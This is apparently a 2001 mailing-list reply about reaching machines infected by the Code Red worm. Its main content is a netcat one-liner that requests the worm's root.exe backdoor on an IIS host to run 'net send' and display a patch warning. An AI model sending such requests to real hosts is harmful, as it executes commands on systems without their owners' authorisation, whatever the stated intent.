On Thu, 9 Aug 2001, Or Botton wrote:
> Steve wrote:
> > Instead of writing it to a file, why not just write
> > it to the infected machine's desktop?
>
> The desktop directory is hidden and protected by access
> permissions from "guests".
I guess I was thinking of a web browser as being
on the desktop as opposed to writing to a file.
I did see something that claims to create a pop-up
on the desktop with selected text inside, but since
I have no M$ products, I can't test it out.
echo "GET
/scripts/root.exe?/c+net+send+*+You+are+infected+with+the+Code+Red+III+worm.++Go+and+patch+IIS+already!"
| nc -w 8 x.x.x.x 80
Of course, you have to have netcat installed.
- Steve
